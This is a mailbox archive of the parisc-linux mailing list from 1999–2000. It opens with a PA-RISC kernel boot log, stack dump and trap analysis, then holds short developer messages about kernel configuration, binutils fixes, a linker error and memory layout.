Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
kmem_create: Poisoning requested, but con given - bdev_cache
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
kmem_create: Poisoning requested, but con given - inode_cache
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
request_irq(258, c01dd02c, 0x0, lasi, c7fea080)
enable_irq(258) 1+2
Wax at 0xffe00000 found.
request_irq(263, c01dd02c, 0x0, wax, c7fea140)
enable_irq(263) 1+7
request_irq(797, c01dd574, 0x0, wax_hil_nmi, 00000000)
enable_irq(797) 3+29
Wax: HIL Keyboard-NMI registered.
parport0: PC-style at 0xffd02800, irq 536 [PCSPP,TRISTATE]
request_irq(536, c01de064, 0x0, parport0, c7fedc00)
enable_irq(536) 2+24
Found serial #0 at 0xffd05000, IRQ 538
ttyS00 at iomem 0xffd05800 (irq = 538) is a 16550A
Found serial #1 at 0xffe02000, IRQ 793
ttyS00 at iomem 0xffe02800 (irq = 793) is a 16550A
Found i82596 at 0xffd07000, IRQ 535
early initialization of device eth0 is deferred
Initializing lasi keyboard port at 0xffd08000...
request_irq(517, c01cba18, 0x0, GSC PS/2, ffd08000)
enable_irq(517) 2+5
Initializing lasi mouse port at 0xffd08100...
Found HIL at 0xffe01000, IRQ 798
request_irq(798, c01cc3b8, 0x0, hil, ffe01000)
enable_irq(798) 3+30
do_irq_mask 10000000 c023853c c7f88780
mask_irq(259) 1+3
do_irq(259) 1+3
No handler for interrupt 259 !
unmask_irq(259) 1+3
HIL: timed out, assuming no keyboard present.
Warning : device (10, 0x3a, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Dino version 3.1 (bridge mode) found at 0xfff80000
request_irq(259, c01dca1c, 0x0, dino, c7fea2c0)
enable_irq(259) 1+3
dino_common_init IARO 0fffffff8
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
kmem_create: Poisoning requested, but con given - skbuff_head_cache
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596: 6 0 0 at c0252be0
82596: 6 ffd07000 217 at c7feda00
eth0: 82596 at 0xffd07000, 00 60 B0 07 E4 0C IRQ 535.
82596.c $Revision: 1.9 $
Serial driver version 4.93 (2000-03-20) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Linux Tulip driver version 0.9.4.3 (Apr 14, 2000)
pcibios_enable_device: Enabling device 01:02.0 (0150 -> 0153)
eth1: Digital DS21143 Tulip rev 33 at 0x1ff00, 00:60:B0:7A:0A:48, IRQ 1053.
eth1:  EEPROM default media type Autosense.
eth1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
eth1:  MII transceiver #17 config 3100 status 7849 advertising 0101.
eth1:  Advertising 01e1 on PHY 17, previously advertising 0101.
eth1:  Advertising 01e1 (to advertise is 01e1).
request_irq(535, c01d7e70, 0x0, i82596, c7feda00)
enable_irq(535) 2+23
do_irq_mask 20000000 c023853c c7f88840
mask_irq(258) 1+2
do_irq(258) 1+2
do_irq_mask 00000100 c7fea0e0 c7f88840
mask_irq(535) 2+23
do_irq(535) 2+23
unmask_irq(535) 2+23
unmask_irq(258) 1+2
disable_irq(535) 2+23
enable_irq(535) 2+23
do_irq_mask 20000000 c023853c c7f88840
mask_irq(258) 1+2
do_irq(258) 1+2
do_irq_mask 00000100 c7fea0e0 c7f88840
mask_irq(535) 2+23
do_irq(535) 2+23
unmask_irq(535) 2+23
unmask_irq(258) 1+2
do_irq_mask 20000000 c023853c c7f88840
mask_irq(258) 1+2
do_irq(258) 1+2
do_irq_mask 00000100 c7fea0e0 c7f88840
mask_irq(535) 2+23
do_irq(535) 2+23
unmask_irq(535) 2+23
unmask_irq(258) 1+2
do_irq_mask a0000000 c023853c c7f88840
mask_irq(258) 1+2
do_irq(258) 1+2
do_irq_mask 00000100 c7fea0e0 c7f88840
mask_irq(535) 2+23
do_irq(535) 2+23
eth0: link ok.
unmask_irq(535) 2+23
unmask_irq(258) 1+2
request_irq(1053, c01cf0dc, 0x4000000, eth1, c7f82800)
enable_irq(1053) 4+29
do_irq_mask 10000000 c023853c c7f88880
mask_irq(259) 1+3
do_irq(259) 1+3
do_irq_mask 00000004 c7fea320 c7f88880
mask_irq(1053) 4+29
do_irq(1053) 4+29

Dumping Stack from c7f88000 to c7f88ec0:
8000 00000000 00000140 00000000 00000000 c0240c10 00000001 00000000 ffffffff
8020 00000000 00000014 00000000 00000000 c0247708 00000000 00000000 c023d6f0
8040 c7f7803c c7f78000 c026c000 00000000 00000000 00000000 00000000 00000000
8060 00000000 00000000 00000001 00000000 00000000 00000000 00000000 c026c000
8080 c026c000 c7f70000 00000000 00000000 00000000 c028fcd8 00000000 c7f8809c
80a0 c7f8809c c7f880a4 c012bca8 c7f88888 00000000 00000000 00000000 00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 c7f88000 c0131ae0
80e0 00000000 00000000 0000004a 00000000 00000000 00000028 00000000 00000072
8100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 00000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81c0 fffffeff fffffeff ffffffff 00000000 00000000 ffffffff ffffffff ffffffff
81e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
8200 ffffffff 00000800 00000800 00000400 00000400 ffffffff ffffffff ffffffff
8220 ffffffff 00007377 61707065 72000000 00000000 00000000 00000000 00000000
8240 00000000 00000000 c7fee000 c04fbf18 f0000c70 f0100000 000000fd c7ffee00
8260 c01020fc c028f000 00505bf4 c7ff0000 c012d7a0 c012d7d8 c0241800 c7fee000
8280 c04fbf18 f0100000 c027278b 0004000a 0000003c 0000003e 0000000b c0241000
82a0 c02727af c02727af 00000004 00000000 c0102284 00000001 00000000 0000003e
82c0 0000003c 00000024 c0240c50 f0000194 07ffffe0 000000ff 0026c6c0 c0270000
82e0 c026e000 c00003a8 c02727af 00000003 00000000 c0238000 00000000 c026f100
8300 c026c880 c012d7a0 880f0800 08080800 e7bdf1ef 00c80000 00123844 18410486
8320 00000020 02040b40 08010020 09480030 a2208000 2d4c2801 80c2d020 00080400
8340 02b40024 90240640 40208c00 00002c42 80c1987c c6c8200c 88842000 010d0740
8360 c0c50040 480ca040 c0840024 0a888259 80b60004 10888001 00812000 84040103
8380 80858140 20880405 a880c094 00080610 82201081 08408801 40c10120 01810440
83a0 00840020 00890011 8c240000 211d8000 20a00001 802d2900 00000000 00000f04
83c0 0000001f 0000007c 0000007c 0a8c0000 0000001f 00092401 a2810044 e2081064
83e0 a2118880 01410000 a9804018 842c4001 88a0a8c6 002c2050 80800034 c7f884c0
8400 c0103438 a00a0c10 00000000 00000000 00000000 00000000 00248000 00000000
8420 c0247040 c0247060 00000000 c0247200 00000000 00000000 00000000 00000000
8440 00000000 c7f88440 00000000 00000000 00000000 00000000 00000000 00000000
8460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
84a0 00000000 00000000 00000000 c0103448 00000000 00000000 00000000 00000000
84c0 c0247708 00000000 c026c000 00000000 00000000 00000000 00000000 00000000
84e0 00000000 00000000 00000000 c0102298 00000000 00000000 00000000 00000000
8500 00000000 00000000 00000000 00000000 c7f88000 c0247708 00000000 c026c000
8520 c026c600 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8540 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8560 00000000 00000000 00000000 c0258a98 00000000 00000000 00000000 00000000
8580 00000001 c024b000 00000000 00000000 c00003a8 c0240c44 c0240c44 c01e39d8
85a0 00000000 00000000 c02589c4 c02589c4 00000000 00000000 00000000 00000000
85c0 c0238000 c0268ea8 c0268ea4 000000fd ffffffff c0244a58 c7ffd3e0 00505bf4
85e0 c026c600 c028e800 c0290800 c02668ac c0268ea8 c0268e9c 00000000 00000000
8600 07ffffe0 f0000194 f0000c70 f0100000 000000fd ffffffff ffffffff c028f000
8620 00505bf4 c026c600 c028e800 c0290800 c0238000 c0268ea8 c0268ea8 00000000
8640 00000000 c7fe8c00 c01db000 c0252e78 c7fe8c00 c01ba4c0 c01ba618 c01bec80
8660 00000004 00000037 c01d9bf0 c026597c 00000064 0000003e 0000003c 0000003b
8680 c0268800 c7feb860 00001002 00000001 c7f82800 00001002 00000001 c7feda00
86a0 0a480028 00000000 00000000 c01db030 00080197 03000221 08000003 21080100
86c0 00000078 e0010050 c7f88608 00000000 c0290800 c7fe8c00 c7f85c20 c7f4fa40
86e0 00000000 00000000 c01e9c2c c01e9c2c 00000000 00000000 00000000 00000000
8700 00001003 00001002 c7f82800 00001002 ffffffff ffffffff c028f000 00505bf4
8720 c026c600 c028e800 c01e85cc c01e8600 c7f85c20 c7f4fa40 0000003c 00000058
8740 c7f82800 00001002 c021a000 c7f82800 00000000 00001003 00001002 c7feda00
8760 c028f000 c02535a4 c01eb360 c01eb360 f0000c70 f0100000 000000fd ffffffff
8780 c021a000 00000080 c021a000 c0268800 00000000 00000000 00000008 c0253800
87a0 00000012 c021a000 0000016b c021a000 00000080 c021a000 c0268800 00000000
87c0 00000000 00001002 c7f82800 c7f82800 04000000 c01cf0dc 0000041d c0116184
87e0 c7f4e660 0a888259 c01d3250 c01d32a0 00812000 84040103 80858140 20880405
8800 c7f82958 000000f0 0000016b c021a000 00000080 c021a000 c0268800 00000000
8820 00000000 00001002 c7f82800 c028f000 00001450 70b96000 c7f82940 00000006
8840 c7f82940 c01cf0dc c021a000 0000016b c021a000 00000080 c021a000 04000000
8860 c7f82800 c7f82800 c011a338 c01d3b3c 0000041d 0000016b c021a000 00000012
8880 0004ff0b 00000000 c01d3b3c c028f000 c7f82800 c7f82800 c7f82940 00000000
88a0 c0100000 c0268800 c021a000 00000080 0001ff00 0000016b c021a000 00000012
88c0 c0253800 00000008 c0268800 0e200220 0000000b 0000012b c01dc6e8 000001e1
88e0 0001ff30 fff80064 fff8006c c0238000 b20e2002 0000001f c7f88ac0 c011a260
8900 880f0800 08080800 e7bdf1ef 00c80000 00123844 18410486 00000020 02040b40
8920 08010020 09480030 a2208000 2d4c2801 80c2d020 00080400 02b40024 90240640
8940 40208c00 00002c42 80c1987c c6c8200c 88842000 010d0740 c0c50040 480ca040
8960 c0840024 0a888259 80b60004 10888001 00812000 84040103 80858140 20880405
8980 a880c094 00080610 82201081 08408801 40c10120 01810440 00840020 00890011
89a0 8c240000 211d8000 20a00001 802d2900 00000034 70b96000 00000000 00001450
89c0 00000000 00000064 0000002a 00092401 a2810044 e2081064 a2118880 01410000
89e0 a9804018 842c4001 88a0a8c6 002c2050 80800034 40000000 88910001 a00a0c10
8a00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8a20 00000000 00000000 c01d3b3c c01d3b40 00000000 c0241a9c 88910001 0000001f
8a40 34133e55 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8a60 00000000 00000000 c012d7c8 c012d7cc 00000000 40000000 88910001 00000017
8a80 2b641000 c021a000 0000016b c021a000 c0146000 00000000 00000002 00000007
8aa0 a5c32800 0000000b c7f7e260 c010469c 00000000 40000000 88910001 00000017
8ac0 00000012 c021a000 0000016b 0001ff00 00000080 c021a000 c0268800 00000000
8ae0 c7f82940 c7f82800 c7f82800 c028f000 00000000 00000103 80858140 0000001f
8b00 00000016 0000003c 0000003e 0000000b 00000003 00000001 00000103 c0115b54
8b20 00000015 00000000 00000001 c0115f74 00000102 c028fc40 00000000 00000000
8b40 10000000 00000003 00000001 00000103 00000003 00000001 00000103 c0115d48
8b60 10000000 10000000 c0115e08 c0115e08 00000103 c7fff1e8 c7fff1e0 00000000
8b80 c028f000 00000103 c0238284 c7f88880 c023853c 00000100 00000002 c0238560
8ba0 10000000 c7f88880 c028f000 c01dca58 c0238284 00000102 00000000 00000018
8bc0 c0116000 c0116000 c7f88880 c023853c 00000100 00000002 c0238560 10000000
8be0 c7f88880 c7f88880 00000005 c7fea2c0 c027278b 00000103 c0116000 00000000
8c00 c027278b c027278b 0000003c 0000003e 0000001d 00000004 0000041d c0115b54
8c20 00000004 0000000f c0115f3c c0115f74 c027278b c0238284 c7f88e00 00000000
8c40 00000004 0000001d 00000004 0000041d 0000001d 00000004 0000041d c0115d48
8c60 00000004 00000004 c0115e08 c0115dd0 0000041d c028fc40 00000000 00000000
8c80 000c000a 00000000 c0115e08 c7fedab8 0000041d c028f000 c7f88880 00000004
8ca0 c0100000 c0238560 00000002 00000100 c7fea320 c7f88880 c0116000 c0116000
8cc0 c7f88880 00000008 c0268800 4bc23800 07f88d80 c0270000 c7f7e260 c00003a8
8ce0 c7f88880 00000064 0000041d c0238000 00000012 c026f100 c7f88ec0 c0115e08
8d00 880f0800 08080800 e7bdf1ef 00c80000 00123844 18410486 00000020 02040b40
8d20 08010020 09480030 a2208000 2d4c2801 80c2d020 00080400 02b40024 90240640
8d40 40208c00 00002c42 80c1987c c6c8200c 88842000 010d0740 c0c50040 480ca040
8d60 c0840024 0a888259 80b60004 10888001 00812000 84040103 80858140 20880405
8d80 a880c094 00080610 82201081 08408801 40c10120 01810440 00840020 00890011
8da0 8c240000 211d8000 20a00001 802d2900 00000034 70b96000 00000000 00001450
8dc0 00000000 00000064 0000002a 00092401 a2810044 e2081064 a2118880 01410000
8de0 a9804018 842c4001 88a0a8c6 002c2050 80800034 40000000 88910001 a00a0c10
8e00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8e20 00000000 00000000 c7f7ef40 c7f7ffa0 00000000 c7f88c50 00000000 0000001d
8e40 5a5a5a5a 00000000 c026952d 00000000 00000000 00000000 00000000 00000000
8e60 00000000 00000000 00000000 c0115f74 00000000 00000000 00000000 00000000
8e80 80000000 00000000 00000001 00000100 00000000 00000000 00000000 00000000
8ea0 00000000 00000000 c0115e08 c01048e8 00000004 00000000 00000000 00000000

Unexpected Interruption!: Code=8 regs=c7f88c80 (Addr=00000000)

PSW  : 000c000a  GR 1 : 00000000  GR 2 : c0115e08  GR 3 : c7fedab8  
GR 4 : 0000041d  GR 5 : c028f000  GR 6 : c7f88880  GR 7 : 00000004  
GR 8 : c0100000  GR 9 : c0238560  GR10 : 00000002  GR11 : 00000100  
GR12 : c7fea320  GR13 : c7f88880  GR14 : c0116000  GR15 : c0116000  
GR16 : c7f88880  GR17 : 00000008  GR18 : c0268800  GR19 : 4bc23800  
GR20 : 07f88d80  GR21 : c0270000  GR22 : c7f7e260  GR23 : c00003a8  
GR24 : c7f88880  GR25 : 00000064  GR26 : 0000041d  GR27 : c0238000  
GR28 : 00000012  GR29 : c026f100  GR30 : c7f88ec0  GR31 : c0115e08  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c7f7ef40 c7f7ffa0
 IIR : 5a5a5a5a ISR : 00000000 IOR : c026952d

Code 8 ==  illegal instruction trap.

GR2 0xc0115e08 do_irq+88
IAOQ is stack, iirc.
IOR is 0xc026952d __initcall_end+685


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_SYSCTL is not set
Date: Wed, 31 May 2000 18:01:09 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20000531180109.A8473@puffin.external.hp.com>
References: <200005300201.TAA11206@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618950 798 80.91.229.3 (22 Nov 2014 01:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:50 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Wed May 31 18:01:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA08566
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 May 2000 18:01:23 -0600
Original-Received: (qmail 922 invoked by uid 15267); 1 Jun 2000 00:01:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 903 invoked from network); 1 Jun 2000 00:01:50 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 1 Jun 2000 00:01:50 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id SAA08561;
	Wed, 31 May 2000 18:01:09 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <200005300201.TAA11206@milano.cup.hp.com>; from Grant Grundler on Mon, May 29, 2000 at 07:01:07PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7392

On Mon, May 29, 2000 at 07:01:07PM -0700, Grant Grundler wrote:
> Philipp Rumpf wrote:
> > I wouldn't really consider this a bug, but if anyone does he should 
> > probably report it to whoever is working on that code in 2.3. 
> 
> If anyone wants to build x86 install/rescue disks, I think they can't now.
> Either the Configure.help is wrong or the code is wrong.
> I don't know how to submit a BUG.
> Any pointers on where this bug should go?

You were right.  It's just annoying behaviour not to compile at all, so
I submitted a patch to Alan (obviously, RPC_DEBUG doesn't make sense if
CONFIG_SYSCTL isn't defined).

So ac7 shouldn't have this problem.

	Philipp


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Binutils update
Date: Thu, 1 Jun 2000 17:08:29 +1000 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618950 802 80.91.229.3 (22 Nov 2014 01:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:50 +0000 (UTC)
Cc: Paul Bame <bame@endor.fc.hp.com>
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Thu Jun  1 01:08:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA11503
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 01:08:11 -0600
Original-Received: (qmail 12959 invoked by uid 15267); 1 Jun 2000 07:08:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12944 invoked from network); 1 Jun 2000 07:08:34 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 1 Jun 2000 07:08:34 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA28821;
	Thu, 1 Jun 2000 17:08:29 +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7393

I've just checked in the following:

Rewrite much of the stub handling code (still using r8)
Fix expression parsing for `!' line separator. 
Fix sizing of branches & other miscellaneous small fixes. 

Feedback appreciated.
Paul, did you get tar to run?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Binutils update
Date: Thu, 01 Jun 2000 09:13:13 -0600
Lines: 6
Approved: news@gmane.org
Message-ID: <E12xWen-0002As-00@endor.fc.hp.com>
References: <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618951 805 80.91.229.3 (22 Nov 2014 01:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@endor.fc.hp.com  Thu Jun  1 09:12:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA15691
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 09:12:46 -0600
Original-Received: (qmail 15713 invoked by uid 15267); 1 Jun 2000 15:13:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15693 invoked from network); 1 Jun 2000 15:13:14 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Jun 2000 15:13:14 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP
	id F3A72153A; Thu,  1 Jun 2000 11:13:13 -0400 (EDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 829874FD8A; Thu,  1 Jun 2000 10:13:13 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12xWen-0002As-00; Thu, 01 Jun 2000 09:13:13 -0600
In-reply-to: Your message of "Thu, 01 Jun 2000 17:08:29 +1000."
             <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7394

= Paul, did you get tar to run?

Yes!  After it linked it worked fine.

	-P


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Binutils update
Date: Thu, 01 Jun 2000 10:03:09 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <E12xXR7-0006q9-00@endor.fc.hp.com>
References: <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618951 810 80.91.229.3 (22 Nov 2014 01:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@endor.fc.hp.com  Thu Jun  1 10:02:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA16373
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jun 2000 10:02:42 -0600
Original-Received: (qmail 30786 invoked by uid 15267); 1 Jun 2000 16:03:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30763 invoked from network); 1 Jun 2000 16:03:10 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Jun 2000 16:03:10 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP
	id C91FF160B; Thu,  1 Jun 2000 12:03:09 -0400 (EDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 61ECA4FD85; Thu,  1 Jun 2000 11:03:09 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12xXR7-0006q9-00; Thu, 01 Jun 2000 10:03:09 -0600
In-reply-to: Your message of "Thu, 01 Jun 2000 17:08:29 +1000."
             <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7395


Oops, it would probably be helpful to see a little more context:

gcc -W -Wall -g -O2 -o as-new app.o as.o atof-generic.o bignum-copy.o cond.o depend.o dwarf2dbg.o ecoff.o ehopt.o expr.o flonum-copy.o flonum-konst.o flonum-mult.o frags.o hash.o input-file.o input-scrub.o listing.o literal.o macro.o messages.o output-file.o read.o sb.o stabs.o subsegs.o symbols.o write.o tc-hppa.o obj-elf.o atof-ieee.o ../opcodes/.libs/libopcodes.a ../bfd/.libs/libbfd.a ../libiberty/libiberty.a
read.o: In function `read_a_source_file':
/users/bame/palinux/binutils-2.10/gas/read.c:1107: undefined reference to `found_comment'
collect2: ld returned 1 exit status


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] memory layout
Date: Fri, 19 Mar 1999 13:53:02 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <199903191853.NAA15832@lucifier.dial-up.user.akula.net>
References: <36F14F9B.AD1968C3@netscape.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618951 813 80.91.229.3 (22 Nov 2014 01:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:51 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Fri Mar 19 14:13:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA26611
	for <hppa-linux@sod.res.cmu.edu>; Fri, 19 Mar 1999 14:13:11 -0500
Original-Received: (qmail 22910 invoked by uid 15267); 19 Mar 1999 19:12:12 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 22903 invoked from network); 19 Mar 1999 19:12:10 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 19 Mar 1999 19:12:10 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id NAA15832;
	Fri, 19 Mar 1999 13:53:02 -0500 (EST)
In-Reply-To: <36F14F9B.AD1968C3@netscape.com> from Mike Shaver at "Mar 18, 99 02:10:19 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7396

Making, drinking tea and reading an opus magnum from Mike Shaver:
> Alan Cox wrote:
> > If you want to run PH/UX binaries then you need to probably follow their
> > layout
> 
> Yeah, but OpenBSD runs their binaries and seems to use the 0xC0000000
> division.
hey! thank you very much, but we are not running hp/ux binaries on hppa yet (;
syscalls are done in hpux/lites/mklinux/osf/linux(?;) compatible way.
not all sources are in the repo tho (i'm doing things one at a time)

> > The m68k people use the 'spaces' equivalent on the m68k quite heavily
> 
> So we should be reading up on the spaces use in the arch/m68k code, then
> =).
and hp300 (which is m68k) is doing syscalls throught the trap#n actually
(for both hpux and bsd)

cu

> 
> Mike
> 
> -- 
> 351839.03 300276.13
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Binutils update
Date: Thu, 01 Jun 2000 09:30:46 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <200006011630.JAA04314@milano.cup.hp.com>
References: <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
